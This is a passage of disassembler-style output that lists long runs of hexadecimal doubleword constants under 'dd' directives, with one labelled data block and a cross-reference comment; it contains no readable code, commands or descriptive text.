6E18309h, 1A088017h, 58C2BBD0h dd 2F1C7D72h, 0E4306594h, 62C7E1Ch, 2442DC10h, 48ACBA41h dd 6115F9D0h, 32E4104Eh, 80AC28E8h, 6C106B84h, 0D49001B9h dd 0B6E1206Eh, 0C2097ADh, 744A180Bh, 0AC8800ECh, 4B8B449h dd 48C0D14Bh, 806A7B24h, 0AA06D8BCh, 0BD37B49Fh, 0D4E113D8h dd 7DE84FF4h, 1F1803E1h, 0D0017B98h, 0A6488635h, 3FD38C50h dd 952F0076h, 9203B9B3h, 72186D16h, 63A851D2h, 239001BAh dd 0F1E09E79h, 0C680743Ah, 481A3040h, 8C43E018h, 6C041003h dd 37E8D9BCh, 60F542B4h, 0F34A1304h, 1068A015h, 2E7186DFh dd 0A83840F8h, 0FCB24CB8h, 0FC1A28h, 7528F4E5h, 120AD20Eh dd 0CE2B026h, 4A1D7400h, 5062A89Dh, 24B4BBh, 6849011Ah dd 994373CFh, 46E263Dh, 0E289509h, 2082D0D4h, 42987EC0h dd 0F8A0B649h, 1FB81403h, 887F18CDh, 0FCAE75E1h, 83731440h dd 0AF96309h, 59DA4C68h, 56025E14h, 7BB024A4h, 0F3B5A01h dd 0D0388B72h, 23C90372h, 7658FA02h, 0E0E33806h, 4878CE78h dd 83174C9Ch, 1938454Eh, 0F3789273h, 38E494C2h, 2778A720h dd 4002A965h, 58CA5B8Ah, 8C4A34A1h, 5C02919h, 0A4E17299h dd 0F30E74F8h, 3097269Ah, 0A066A24h, 0D9FA0917h, 0D3BD4080h dd 12980F6Eh, 0B899B70h, 0CDC43C00h, 630204B7h, 7E72369Eh dd 9ABC41ADh, 7CB9D8h, 0DCCFEC66h, 0E5F0675h, 90C4FA68h dd 1760C494h, 2437D59Ah, 0EE080039h, 0E2AEA999h, 40289032h dd 853FBA41h, 50B8C86Bh, 4224B55Bh, 3D8C2004h, 0AD35017h dd 92B39F88h, 90E197D8h, 7F5672E0h, 1926C498h, 9411241Eh dd 3C5600Ah, 2D1842FCh, 5F8C6009h, 34865CF0h, 457797C0h dd 0D55EE169h, 6B0164C0h, 93BF30CCh, 39F6E030h, 50340481h dd 42332672h, 3A708240h, 2F7F86Fh, 50F35984h, 0D8F55400h dd 0F9B03013h, 6A900988h, 0CA95Dh, 0FA810B1h, 60B87E36h dd 0FAD3A0B4h, 38C05630h, 0E0B0C4BEh, 74200BE7h, 0BCD452F9h dd 605FEE02h, 0D9144881h, 0CC913Fh, 892AE942h, 11004D95h dd 432E8217h, 6088E127h, 690E306Ch, 50961BA9h, 9830F00Ch dd 0F9830CE2h, 0ED7818D3h, 8ABBE018h, 0C79F8C61h, 0A0934BD0h dd 0CC13884Ah, 76945248h, 0E2405B0Eh, 81075EA1h, 56DBD6E1h dd 0A4BB8C6Ch, 0D5413B0h, 0EF023AE4h, 19DC4837h, 51A07AD6h dd 44EEAB79h, 0D3B3A18h, 77C02CFh, 0C4C41112h, 0B46E811Ch dd 0D699F145h, 1AB01818h, 0F65A80F4h, 60873117h, 0A0BA900Fh dd 0F8841712h, 210F0220h, 4BBD6EB0h, 9200B85Ah, 0E9CDD8A4h dd 3BEE58h, 41DAE032h, 0E203FA0Dh, 0BE489490h, 0CF6C01C0h dd 0D7562290h, 0B0686D60h, 4278A618h, 0AED00FFh, 6B39B52Fh dd 0E8309098h, 36762472h, 0E18FB918h, 0E0A1DE41h, 223DBEB4h dd 0E6341244h, 0E4666020h, 4072176Ch, 0A6004437h, 80E0105Ah dd 1971E8B3h, 311896F7h, 437910D0h, 27A2E544h, 40AC9422h dd 0C041E364h, 0B35DD1B1h, 0BFF00663h, 94B0E0BDh, 0CBB62861h dd 7EE400ECh, 639187EDh, 9A40DBE1h, 8D613FE2h, 903EAEh dd 22D48EBFh, 690B5301h, 120E07Bh, 0F2765220h, 0F392BC20h dd 0BF661007h, 580125B1h, 6D730906h, 89F839CFh, 82D2009Bh dd 203330BDh, 4F2813A6h, 1709ACF8h, 89AAB467h, 66B8E870h dd 47E48E8h, 1EC3B204h, 7210811Ch, 8806E6Bh, 0F01209D0h dd 846A5078h, 5FC30062h, 419132DAh, 0FC1CDCE9h, 660020BCh dd 2B3E7889h, 0D168018Dh, 0FE9C061Eh, 0A3188085h, 0F9C91FE7h dd 64844809h, 11ECEB29h, 0BC004A71h, 0FAE3414h, 168B286h dd 0A0F85F95h, 0D48A6FDBh, 8C1DD2A2h, 0FC26ED22h, 347E509h dd 78DD30h, 99BB3B58h, 4F5682D7h, 0C8137F17h, 0B672A4E0h dd 0B25F0428h, 0CC920071h, 247F80D9h, 418C7E11h, 3B573860h dd 7BF9444h, 651E54F2h, 59F4D294h, 0BDB2B0A0h, 2C9ADC18h dd 684C4030h, 9640B1D0h, 6BF8E0B1h, 948B1317h, 4873444h dd 0FA0ABCC0h, 23085AF0h, 428AF900h, 0C07C4209h, 2E3DBB09h dd 3A4710Eh, 0FEB914C2h dword_4E414C dd 60196001h, 0BB1E1368h, 3CD858A8h, 0B4C8BD94h, 9894354Eh ; DATA XREF: ___:off_43A1C0o dd 0D732142Ch, 8089182Eh, 0EF4F19B4h, 0B19B05Eh, 0FAE5F93Bh dd 0FCE24420h, 0F6009FB3h, 3885FF9Bh, 2678E3h, 0C667194Ah dd 0CA1144F5h, 0A481E035h, 37F18800h, 0CED88Bh, 0E51EC8BCh dd 0DB91C20Dh, 0E436E302h, 0E026D2B3h, 66F5AE4h, 0DDBBEB1Ah dd 758183Bh, 0B494800Ch, 48015FD9h, 0E0CFECC6h, 5A1027ACh dd 0C938F80Fh, 0B80D837Ah, 15C0C759h, 26FA5BCh, 0E4D01A09h dd 645001E0h, 35E8B003h, 0C672A97Ch, 0E13E0C41h, 9450BD4Fh dd 0ACCA90A2h, 6876D869h, 16D104A8h, 0F4C20A12h, 847041h dd 0C89F7389h, 0DBFA21CAh, 0C400D58h, 281FE97Ch, 0B005542Dh dd 381D0178h, 0F8F94A54h, 0C5AC5083h, 0E590E027h, 34FC9926h dd 62F3B342h, 81D84008h, 3601076Ch, 601E9603h, 0E0DA632Ch dd 0B0CF0435h, 0F43998CDh, 0B75E610h, 23316594h, 2AAD3D8h dd 45AEE8F0h, 0E440D934h, 29F0D1B0h, 69581913h, 5626C003h dd 0EFAF809Bh, 0ACB3480Dh, 3B07510h, 814AE0C3h, 9E4EA3D6h dd 4F110250h, 927469D3h, 0DE9910C0h, 755FA802h, 7480137Ch dd 5E6C16A8h, 11933D0Ch, 74EC8873h, 6CF02F83h, 62017CF8h dd 0A2274FBAh, 0F0608130h, 1F176BBh, 18179B67h, 8088B613h dd 1CEA7B90h, 496CB498h, 4977A899h, 6F3AB895h, 0A094DCC8h dd 0E7B36002h, 5CF6140Bh, 3F03B81h, 0EC280C79h, 5DAC130Ah dd 277696ECh, 80C9D51Ch, 0D4B3D66Ch, 0F870935Ah, 3980EC6Ch dd 0E10B1972h, 82CA169h, 0D50F0A28h, 0CB6F8DB0h, 0E19C4249h dd 4300FCCh, 0BC640AFh, 9FAD3000h, 61770271h, 2C3E04F4h dd 0C0ACB814h, 81EECB84h, 7223D206h, 0C48B7CEh, 3C87B698h dd 75405BF9h, 0AAF81232h, 0B28702D9h, 0F8F01EC6h, 91960703h dd 0F1AB3C8Dh, 0E8282898h, 69849580h, 7E5A9BEEh, 140CE870h dd 2C6DEC7Bh, 364E999h, 28BFE053h, 32E16180h, 3E85440h dd 1CFC065Dh, 0A05870FAh, 0F9C86118h, 10A46DB5h, 0E896948h dd 0D69A4822h, 410A8072h, 0B8C13F14h, 4A06C14h, 9EF1B16Bh dd 0A0DC8EC3h, 0F0A4A95Fh, 0B5161980h, 0F0D81897h, 0F917C738h dd 3000D643h, 0CC6ECFEDh, 607073C2h, 0A16B8963h, 104862E0h dd 0DC285AF4h, 4C9A014Bh, 761362DDh, 0CEA080D5h, 0FBDBB741h dd 831209DCh, 4C820677h, 746B8CE1h, 88DAE7D8h, 0D2D3B000h dd 0CBA25EAh, 80983Ah, 99A82052h, 121CE97Bh, 288C1400h dd 0A988F9A0h, 0FFF20019h, 810C1137h, 0B904C480h, 94695408h dd 0D047A9C4h, 0DA79B466h, 0A4093A70h, 0BD9471CEh, 16C0722Bh dd 9CC1943Bh, 0E0600B42h, 886E0006h, 0BB86FC77h, 0AC24430Ch dd 0CC01AC17h, 6DC1040Dh, 38B742Ch, 71E78480h, 0B0BA4DADh dd 832ED8A6h, 0DB4A204Eh, 0A1A47000h, 6BCD4013h, 20C12090h dd 10346880h, 6416EB34h, 605804A8h, 0C96880AAh, 0BB02967Fh dd 488AC7BAh, 6EC404Ah, 0CFEC80AEh, 38CB9A05h, 80C0DB72h dd 3552EE5h, 977CC92Dh, 983BE67Bh, 22020083h, 0BBAC88D8h dd 78AE06B6h, 0B04CF3F9h, 99E76B03h, 0A09201D3h, 6BC11379h dd 7808C9DCh, 0E4933A54h, 73C3010Bh, 0F2E5EC3Bh, 913A8E0h dd 0B8960490h, 0B089AA92h, 419C8C20h, 225C7799h, 488CB832h dd 4600586Ch, 71AAC2B4h, 0CCA083FEh, 2B5A8E0Fh, 0C149430h dd 7F48CBD6h, 0E2952C82h, 81517458h, 10CEE0BCh, 78011D4h dd 372BE0EBh, 0D904398Bh, 46BA6F1h, 0ADAC94F0h, 0A01315F4h dd 748900C0h, 349A9C5Fh, 0C233096Eh, 0D0ECA493h, 390F1200h dd 0E119E213h, 628B455h, 0C00D1672h, 917D138h, 0B962571h dd 0FD1CA5F8h, 921350B8h, 0C404C57Eh, 93CA32Ch, 18BB33E1h dd 207235C4h, 0BA0B4BB6h, 58132389h, 1DCE92Ch, 6F281722h dd 0A034B0BBh, 581C2F3Ch, 26738ECh, 1A0D0B85h, 84587113h dd 0C0D316FAh, 0AFEA6C08h, 88FEEE13h, 2439EC60h, 2AF300E3h dd 7B5031F0h, 0FA091EE0h, 3198D87h, 0C10CE620h, 0F440B1FEh dd 0B02795E2h, 92E52460h, 5F8702FCh, 7642137Bh, 744014B2h dd 206906F9h, 1F0000F0h, 0B2C5A5FAh, 5CDD2034h, 0CC2AE117h dd 0EBF76C44h, 1A0118A2h, 4F5FE3D8h, 921094A8h, 0E4992E94h dd 13601140h, 10FB64A3h, 26A0A36Fh, 23799097h, 949009FFh dd 2419F4FFh, 0FD64E0C4h, 0E941F800h, 37DCDDF5h, 0CF131A67h dd 0E062A831h, 415F2480h, 2649A88Ah, 0B70D802Ch, 6DFB99h dd 0B3EDF385h, 7F1203EFh, 21658400h, 116108FFh, 6008A217h dd 82B7BB88h, 0B9580CB8h, 5FFA0380h, 0D34C0080h, 214F10E0h dd 0B902F471h, 8E71D93Ch, 0D4E48A45h, 0A8EDD00Dh, 4FB0F3ECh dd 72D4203Eh, 29F13594h, 0A4A01434h, 94D59394h, 490BB480h dd 5F380301h, 0B5AC14C9h, 88195003h, 0ACDABB6Bh, 40ABE4A4h dd 1F6579FDh, 30D0B3B9h, 1B0D248h, 17BC86E4h, 47A24024h dd 3CD370F8h, 70001C18h, 94C0BD0Dh, 60E2703h, 31F9D0B8h dd 0ED4B4828h, 71354472h, 15920160h, 60CCA06Dh, 0FF001E8Ch dd 916FF939h, 1791D64h, 36132CCBh, 0D7FAC849h, 7C159EC9h dd 8CF984C8h, 0D312C4ACh, 7A29090Dh, 0DC909809h, 94BC33C2h dd 0A9F6CC58h, 0EC64D890h, 4BFC7B13h, 38188890h, 0BBF19209h dd 0F98499C8h, 605012EEh, 4897B49Eh, 0DAE34482h, 0DE852460h dd 2E146148h, 3A608545h, 6CA15B72h, 0F38342Bh, 4AE0E78Ch dd 517D2D7h, 43C5A4Ch, 3DBCDC60h, 26E09888h, 0B10FEC7h dd 0D405EC1Ah, 208CE25Bh, 38E33A21h, 0EA269049h, 6EE90218h dd 6085D39Ah, 94A4CCB1h, 0FCD0B44Bh, 5B95E0DFh, 1338427Fh dd 6454D89Dh, 2830BA47h, 889CC6h, 7A218EABh, 0F82DF931h dd 0E0043CB4h, 0B1048361h, 501480E4h, 70011EC0h, 0FFDA0993h dd 60287654h, 0E2B36701h, 2271C71h, 72F8C024h, 0CCF4508Ch dd 7F0D17C2h, 6AE0706Eh, 0A069ED3h, 0DD53F96Bh, 817C4BE0h dd 0A63DB7CCh, 3A00B8E0h, 0E38B635Ch, 41671F76h, 70720354h dd 0B980D29Ah, 3B094486h, 84CC04B8h, 0C4B06A9Ch, 9A1D4034h dd 0D01EFB0Eh, 0F1132392h, 208017DFh, 1A680573h, 0C8F061DCh dd 0B453E211h, 82243189h, 7581B8h, 699C20Dh, 0F70DF475h dd 0C02813DAh, 0B792060h, 527E3598h, 38969058h, 0EBA0478h dd 0CB726D0Ah, 38BA0849h, 0E621D42Eh, 43C7E371h, 10C962A4h dd 6EC03093h, 8D400C38h, 0A84BBAE1h, 0B07F9864h, 0A4145AC8h dd 0EE0039C0h, 9AC5869Eh, 2CE158FDh, 92C06F42h, 123498BCh dd 7A27800h, 98FB2DC7h, 84EA4DDFh, 13091011h, 5403B035h dd 0A8059A6Ch, 3B1C5CAFh, 0FA8CDEB4h, 4F286176h, 0B1278713h dd 0CA2D84E8h, 0A0D2DC89h, 786178D3h, 0BC3CA1FAh, 1300D14Bh dd 48202CC6h, 0D89C008Ch, 0A998D66Bh, 882A60D3h, 7909E338h dd 0F957ED04h, 84C48BBEh, 6201E0E8h, 6C72474Eh, 2560AF3Ah dd 0DCF469E4h, 0B1484030h, 0A21EDD2Dh, 0E3435F4h, 1FF27B61h dd 1CE0FAD2h, 8E97E405h, 1856C06Ch, 0C2447613h, 0F3DEBC40h dd 92ECCC81h, 0DC8825FAh, 0CB2F605Bh, 0D04410C2h, 77A2032Fh dd 0DBE9F18Eh, 38F05049h, 96229FE6h, 0E307F42Eh, 0CF2092F9h dd 58E55B4h, 0DFF869AAh, 0FAFCD120h, 5E6C022Bh, 6728624h dd 8E12E93Eh, 80009A4Bh, 0F6466A7Fh, 710E5F6Fh, 70ED63E4h dd 0A0C625D0h, 1881207h, 342A55CBh, 801FA372h, 199B4928h dd 0B97FA4h, 4A73E97Ch, 0BB685C21h, 660D600h, 4671F902h dd 1492DEh, 0DD5A757Eh dd 50AF8922h, 303F3E78h, 1CB04AFAh, 60B0E2E0h, 6C0B8860h dd 0B976E13h, 0EDFC0058h, 0B0D099A3h, 6FEB02C8h, 6AE0EFBCh dd 23E26469h, 0D0F7954h, 8DC8D006h, 8003059h, 611C7270h dd 5FEEE923h, 437B70A6h, 16E20901h, 0F72C94FBh, 892C402Eh dd 0B336C9B0h, 8319AB01h, 0E16DD53Ah, 4B75006Dh, 0E03C84C3h dd 0C8983714h, 0D0F5BB37h, 15EE204Fh, 5E922FEDh, 0E7F846DAh dd 0BA5F20A6h, 0E2094C4Eh, 0E4D1BB6Ah, 0FC9C1794h, 86748238h dd 124D7C44h, 11D84090h, 0E0F766E2h, 6F2CE109h, 0DB406032h dd 575A26h, 0B43688EBh, 9DE435B8h, 0FB31312h, 9AF8D489h dd 0E5781752h, 0F908302Ah, 10D25088h, 896F08F0h, 0BF06312h dd 0C6925F87h, 98010EA0h, 7903C04Eh, 0D5C444B2h, 5D9C088Ch dd 6097163Eh, 2317C446h, 40731FC9h, 0F93B4418h, 63ECD77Dh dd 47C099F1h, 0D9E41D71h, 0FA0A3206h, 4B205865h, 953C029Eh dd 886E2ACAh, 784FF224h, 407DFA89h, 0D0EB1Ch, 48E82C6h dd 0E0E3DB32h, 689D7725h, 3D2A0D84h, 0E8FCCB6Fh, 0D24923Bh dd 17113FBh, 0C1AFC60h, 0E832E700h, 0DBC02098h, 6B790492h dd 0ECD02272h, 54E72C44h, 71C83481h, 0F98A42BDh, 60B02614h dd 1AE17245h, 13CC405Dh, 800B13CAh, 0CB500FC3h, 0D2DC607Ch dd 0A203781Ch, 84E4D1DDh, 0AC30C078h, 0F3E4C500h, 277D9CA0h dd 90A29048h, 0C0546CE9h, 0D1CCE26Bh, 1C4242A8h, 5172E490h dd 10900F67h, 0FA09F460h, 40636031h, 111FE47Ch, 71F3790Ch dd 27F92955h, 1C1B6417h, 0C567E900h, 0D7564C0Ch, 0BB4FE0h dd 0EC6905F4h, 68010332h, 0F9CFB30Dh, 9C44D82Ch, 8509C004h dd 0E1BFF302h, 0E5003CD1h, 0FDA63482h, 0C011E0FAh, 7AC7DA70h dd 0C8028696h, 379E6A3Eh, 0E0C440B1h, 4935621Dh, 2BDDF6h dd 7CFA0B84h, 0E240C01Ch, 8D6259CDh, 0E719F20Bh, 0F90605DAh dd 9841DEC4h, 9A600FE4h, 1A1F9230h, 19198CC6h, 902C33C0h dd 451B1209h, 0CA6C2256h, 38F4C1A2h, 0A9D5D9FCh, 146012E4h dd 69E8404Bh, 8E57B3Dh, 281D9DFAh, 0D18DA248h, 0F6123CE4h dd 0BA6CB006h, 8B91440h, 70746065h, 0E7371A3Eh, 27345650h dd 1413ECE6h, 78B0BF04h, 65B83CAEh, 13620C74h, 0E1A07730h dd 5CB44Dh, 32E3E41Ah, 0ECEF92h, 0B363A280h, 0D9E991C6h dd 34086F02h, 6A421013h, 831740C4h, 19A500DAh, 0D41A3A0Eh dd 309E4BA9h, 64ACA089h, 66B62DE8h, 0F85FF440h, 778855Ch dd 29F1EF05h, 84CBB307h, 80AC920Ch, 2C4D40Eh, 75C96700h dd 84393596h, 9EF16274h, 4840895h, 0E90F09E1h, 0FD95C1D8h dd 4F2B9064h, 898E910h, 4861F014h, 882E74C1h, 12C216D8h dd 8228E16Ch, 706C0964h, 0CC1938BEh, 0C82CC3D8h, 4037B10h dd 7887D977h, 20F2D580h, 0CB1F0111h, 0E0EBDE9Ah, 0E40B3E26h dd 495CF21Eh, 2313EC10h, 7838C98Eh, 0EC284BE0h, 8B092472h dd 93EC81F8h, 0EE1E9905h, 0E0094474h, 3C607071h, 104C84A8h dd 30D6521Ah, 9411D045h, 0F4416C02h, 0A443C13Eh, 0D49092BCh dd 833818DCh, 4DE183B2h, 2897F7Ah, 0F9E4DABCh, 0DC5C098Eh dd 4BA0226Bh, 25A85AD0h, 0C8641F12h, 59E0E20Ch, 0B00158B8h dd 0D23E7AC4h, 0FD905DE2h, 20DC534Ah, 0E4DC1A74h, 3881825Ah dd 0EC45A1EAh, 93578F4h, 0C5BBF292h, 0FA01D4F9h, 475AE138h dd 12D51080h, 7D4E4283h, 0A4B09378h, 0F3D21310h, 5278C450h dd 0CA80BC9Eh, 3580C42Ch, 4710E200h, 84B98A4Ah, 0E89A7F6Bh dd 90590053h, 9FD2E8BBh, 9900F68Bh, 0FF6480F1h, 6B2C135Ah dd 0A4E1A873h, 58D115BCh, 0E8805F60h, 1A0FEFD4h, 0E024E11Eh dd 0C4275807h, 0D3B776F0h, 1A460B31h, 87885420h, 0F15B0Bh dd 0F011A508h, 22F03BAh, 68E23896h, 823DB4A9h, 0FA0871EAh dd 0F074CB0Eh, 34F9747Fh, 0ED51FCBFh, 0E635C060h, 4A1FFEF9h dd 87E8002Dh, 6BE17C38h, 48C06D69h, 88101190h, 0B0F6407h dd 5F3CC98Ch, 1890A0E8h, 0CEE1F709h, 26EC80F3h, 766A12D4h dd 3B7A3E0Bh, 52B68692h, 89200404h, 723602CBh, 4858585Ah dd 4C047812h, 0A16E029Dh, 1813D04Ch, 1F209200h, 3CEE2B5h dd 2466EA99h, 88786C32h, 7890FBA7h, 6404178Bh, 0C35482CCh dd 0BA0594DEh, 98A207B7h, 61ECE44Ah, 0D81C839Dh, 7082AD27h dd 805440h, 0D79A70DBh, 0AF3C5562h, 0F1D27A52h, 0E07BF8C0h dd 75C21214h, 0C4C2836h, 621FB9FAh, 0DE009FD8h, 9F5779Ah dd 13EA0932h, 180078E5h, 0C4830ECDh, 0FD9A471Dh, 0C5373BC0h dd 54247E36h, 1D5B82Ah, 8480620Dh, 6C1E8135h, 0C931388h dd 3030908Dh, 0C92480B9h, 29BBF0CBh, 8C0400F4h, 0A003784Fh dd 8BEBF8h, 16B987FBh, 9C29366Dh, 921CAF02h, 5445E184h dd 0C1011FB0h, 0FD71AC75h, 7F9C50F2h, 6E0BAD81h, 581EE0E4h dd 649A9DF0h, 44B71C40h, 82A0129Dh, 0C826B8h, 0E93F8212h dd 0CEE88C32h, 5818426Bh, 4C3C9884h, 0AC0080EBh, 0D4BBFB54h dd 9400C667h, 5191FF4Dh, 4BB2FA0Dh, 0C9A40059h, 887F0ECAh dd 3C697802h, 0D2A493D8h, 0CC0E6E4h, 12F1917h, 26003830h dd 0E1E4D293h, 0B13108Ch, 0F1D06109h, 0D018888Dh, 3B0A730Eh dd 8FA99EEh, 9035D909h, 4F1805ACh, 719C4939h, 0B15FC0A1h dd 249304CDh, 0BCD8AC33h, 0B3C530E1h, 0BB98D320h, 19205D31h dd 0A04AAAF1h, 0D6B8605h, 17CC167h, 4072005Bh, 0BB7980DCh dd 8113D1C2h, 0C8A0409Ah, 0EC922D77h, 0CF4BF06Ch, 64852457h dd 0C01974E0h, 0E4470DC0h, 0BF16B087h, 5400CA7Fh, 7DEC36EFh dd 81532E13h, 8B388C08h, 0CDB89A80h, 8CD1203Fh, 78BE6614h dd 0EA932C70h, 1BAC007Ch, 0C0E47D36h, 0D29BE8C2h, 5EC4135h dd 0D98C406Fh, 68C0C494h, 0CC33394Bh, 9C30CF72h, 7388F6h dd 25343261h, 0AE16ABAh, 0FD814B61h, 11EC8846h, 3AAC2014h dd 26AD8900h, 0F9AFF34Dh, 0CAF85BC1h, 0D3FB0CCCh, 1EAE6907h dd 8643F46Eh, 19BDDD99h, 8EE58202h, 85092A48h, 54D0D9BEh dd 25F3110Eh, 3810EB72h, 14142D0Bh, 3F907F5Ch, 0E04A9870h dd 5137649h, 88DB2E3Bh, 9A10C1AFh, 0B082C04h, 6423E4F3h dd 0A6E87CE4h, 655D0080h, 0A4093B85h, 8A30A11h, 0D5293812h dd 44485489h, 0E02D8C04h, 0B7B8603Ch, 20C20762h, 4534FA9Bh dd 47C818Bh, 60B08DA4h, 28687931h, 0E8F4815Eh, 3710217Ah dd 0B204958h, 0F6AFFA10h, 71E501DCh, 0D0D695E2h, 8202019Ah dd 891E17F5h, 9EBC8381h, 4AFEDC8h, 129D1B2Ch, 0C8EE481Fh dd 0A9A4111Dh, 0E833860Ch, 0E3C43060h, 0F95C2111h, 48B24232h dd 446454E0h, 4C54B299h, 86281297h, 9BD4820h, 24B19822h dd 8EF92h, 6C072699h, 0EE09F372h, 50AFE12Ah, 20B09D28h dd 675A07DAh, 68C71C52h, 0CD98A4D9h, 510400A8h, 92C59713h dd 8C907734h, 0BCA64110h, 0F48245E2h, 0FC07891Ch, 0C416842h dd 0FDD1F828h, 0CB631490h, 0E96DA818h, 302E3102h, 2B273958h dd 7218227Eh, 0BE80BC71h, 7D58006Ah, 2869D0CAh, 0E11847A0h dd 948FFF7h, 0B30D2877h, 7FF224D0h, 94DD807Ch, 9A5ABE56h dd 0F81E54F6h, 989679Eh, 80B4511Eh, 0E5A76ECDh, 0C901F328h dd 0F9504A10h, 90534C55h, 1083FCD9h, 17D93839h, 0FBCCB581h dd 7831C33Eh, 23D81034h, 0BCE6407Fh, 2265C601h, 0EE92038Eh dd 0B4A99043h, 0EDB0ECC0h, 8AD201A7h, 0B1991425h, 0AC566A90h dd 7212ECE3h, 0D2A847E2h, 0FB990309h, 26E7A9F8h, 3B9DC0Bh dd 0FF88806Ch, 40666EB1h dd 7B058892h, 0DDD38980h, 0E91838C3h, 0ABF0C997h, 0E8E9007Ah dd 4856C06h, 13166B3Fh, 18F433ACh, 0FAAE4021h, 0E40E6E4Bh dd 607B8B13h, 3D9678CCh, 7F01E1BBh, 15722BE4h, 923087DAh dd 8B82397Ah, 0ECEC9011h, 86B4A6FFh, 0C5D45B6Ch, 0DD00808h dd 74888039h, 71EE07B4h, 58AF6270h, 24D2EC6Fh, 0B8381A95h dd 0B5222FF8h, 0BBEA5480h, 8F0260C8h, 0FA0469D1h, 0DA44827h dd 0E47118B5h, 1C197809h, 0EE883565h, 615B040h, 59A92418h dd 47132868h, 3F70A530h, 36216C04h, 0E8D19A09h, 663F2B84h dd 79091080h, 20174F5Fh, 6EBF6564h, 30E5377Bh, 5E01CCD0h dd 141949A0h, 60286A6Dh, 815F1148h, 23A8ADCh, 0A1F04169h dd 1A4047Bh, 40C887BAh, 72499E6Fh, 16D86A4Dh, 0B8B1E579h dd 95095C22h, 592598h, 5C4B7CA6h, 114747F0h, 83F688F8h dd 86FFF210h, 221C6F9h, 0EA5167B6h, 8902D708h, 420C93F6h dd 36051C28h, 0B871FA0Eh, 0DABB0AE4h, 0A3AFF41Ch, 0AC767268h dd 0BD7C43ABh, 20A244B4h, 4A0B6C7Ch, 76B8442Bh, 0C24D5F14h dd 8C898904h, 0B1008873h, 98FA1EE9h, 0E710C332h, 7DD8CE0h dd 60FBE294h, 46FA07BAh, 94201461h, 272FF98Eh, 964DB3B8h dd 0C6CE6000h, 1A3A31A8h, 0FFD80E65h, 0A8786671h, 9ABDBB67h dd 7C7EB0h, 419C4F9h, 870CDA9Ah, 80CA5344h, 2B2041FBh dd 41C5428h, 4D720473h, 0C158ECD4h, 9A39E866h, 88CC326Ah dd 0E9E04C76h, 2CAA3473h, 2DE2D7h, 0A716CC60h, 2C9E1AFAh dd 1CE60F0Ah, 568C92E9h, 923405C0h, 0F138B8F5h, 2EC113h dd 6D862534h, 36006452h, 0F384FE3Dh, 5060B298h, 71409895h dd 9B4E18h, 3EEEB478h, 0CA70ED9Fh, 84F7B12Ch, 5BD9FF03h dd 0E2BBA9F9h, 1D7C59E4h, 7022725Eh, 39B96C70h, 0DEEB0600h dd 1AF98480h, 93CBE8Eh, 8EA1DE7h, 6CE5ACF6h, 72C2C4F8h dd 0D8F21AB5h, 0A12EE0E7h, 1E5D0CBAh, 759284A8h, 0A78C13AEh dd 14C84E7Ch, 2F09AEBh, 1D1A0B6Eh, 34821F05h, 49042618h dd 0BC8F88Ch, 716F9202h, 0F942DC71h, 6C00C830h, 0FA090CDDh dd 0B4E08FCFh, 4502F100h, 6AAF17DBh, 71E7123Ch, 68BCB090h dd 82E0BB3Dh, 7251855Dh, 84782Ah, 8FE21E19h, 9B6F8118h dd 0E0B4F409h, 0E80CA0CFh, 30C26BDh, 6B7AC2D9h, 28B0E992h dd 335C6953h, 803F2F40h, 112492Ch, 0EB3030Fh, 0FCE8AFF0h dd 0C37772F1h, 244A2002h, 609281F7h, 62AACCA0h, 0DC7C2070h dd 0C4866B00h, 87643C71h, 5240B74Ah, 4256C05Ch, 0BD1326Ah dd 0E8720516h, 74107CA3h, 52019BB8h, 912A1C18h, 0B55F310h dd 6171E0DDh, 15FA50A1h, 0C4B90003h, 2570138h, 4F1D1847h dd 41B065D9h, 0B9B44821h, 98E53060h, 4EFA9E6Dh, 0AE94D1B3h dd 3A390765h, 162056E8h, 5A4C117h, 171D819h, 0E9BC341Dh dd 880989EEh, 578F58h, 0D11362DAh, 8CA8BD94h, 0A9183178h dd 8BE2004Fh, 14650116h, 0E171912Fh, 90016F23h, 7213E5B0h dd 2125106Ch, 0E9017C70h, 25A89B0Ah, 0D1E1D71Ah, 7CF30840h dd 4818BD05h, 8E173D28h, 0D8026F3Eh, 0C9CEA971h, 3819D4h dd 0A34A2C49h, 650E74F8h, 801C75B8h, 6B708994h, 34EB00D3h dd 0B03072F3h, 0D126240Ch, 7BC3B023h, 0E05810DDh, 0F0085049h dd 3D79A600h, 0C466D19Ah, 0B41F0398h, 433071BAh, 711EA925h dd 57FA8544h, 0DBB8E074h, 4023F95Fh, 13A820AAh, 0E3DE9209h dd 361CC041h, 0C0BD4E72h, 0E21C1640h, 19C08E3Ah, 89085718h dd 93C2046Dh, 615DAAD8h, 0E015B418h, 3530F900h, 4FC380F4h dd 8A09801Bh, 70D41902h, 0CE392406h, 32E1092Ch, 0D858F472h dd 8A355C09h, 9AE06071h, 32DE8F3h, 8536CD9Bh, 0B98F069h dd 0DF2F6511h, 15F06E88h, 8440D672h, 606F5E1Ah, 943B0DEh dd 41E2D0A9h, 0C0114E72h, 38F15CA8h, 990FF398h, 4AD20EAEh dd 2C00B803h, 0BCC85E6Ah, 994FEE0h, 0E1B031E6h, 12013CD8h dd 6A0B3C7Ch, 0D646E0F3h, 98D205B0h, 0FDD5A8A9h, 69E677C8h dd 7719A502h, 76031A71h, 0B3650964h, 0EC002C6Ch, 9AAF3CCFh dd 0A76E15h, 59267D20h, 0C0F1D237h, 0CA001CE0h, 364EE78Dh dd 912D04h, 0B98CC61Eh, 0C53B8527h, 4893025Eh, 0F39F2FAh dd 6685C98Fh, 728430BFh, 0FC06416Dh, 2CCDF93Eh, 2EC60018h dd 89331F03h, 0D000AF58h, 7F1146A7h, 0B619BE5h, 0A402E11Bh dd 9AA75CFBh, 64047434h, 72FB03BCh, 97188873h, 0FA15308Ah dd 993A7B10h, 0BBA14E07h, 52848571h, 0DCB29C21h, 7000A8F9h dd 7381A47Fh, 1307AFCh, 3E866DC5h, 0C8A249EAh, 30FB769Fh dd 507A3963h, 70DB9C30h, 57CAC23h, 3B2CDC01h, 0A3E6809Ah dd 200167E7h, 7B99E9AEh, 5887763Eh, 1B9EFFBh, 87451E52h dd 58F29B10h, 5E85A80Dh, 5A45776h, 0C033FA08h, 8A703DFFh dd 3B0741FEh, 98297480h, 21203043h, 0A2004040h, 0EFAD24D4h dd 148A0076h, 5B6B4944h, 4A003B45h, 0DF2F7B31h, 2675CDEAh dd 6CBDE1Ah, 5827E58Ah, 0EB0019E0h, 204DC4B5h, 19FB5AF3h dd 0E8F670CAh, 31FC0EAh, 39F49700h, 532077E7h, 0C880E342h dd 92AC0A3h, 7B006F55h, 7C4EE65Dh, 0CA843FEh, 0CE2152BDh dd 7560F828h, 3EF27208h, 0A6D22E59h, 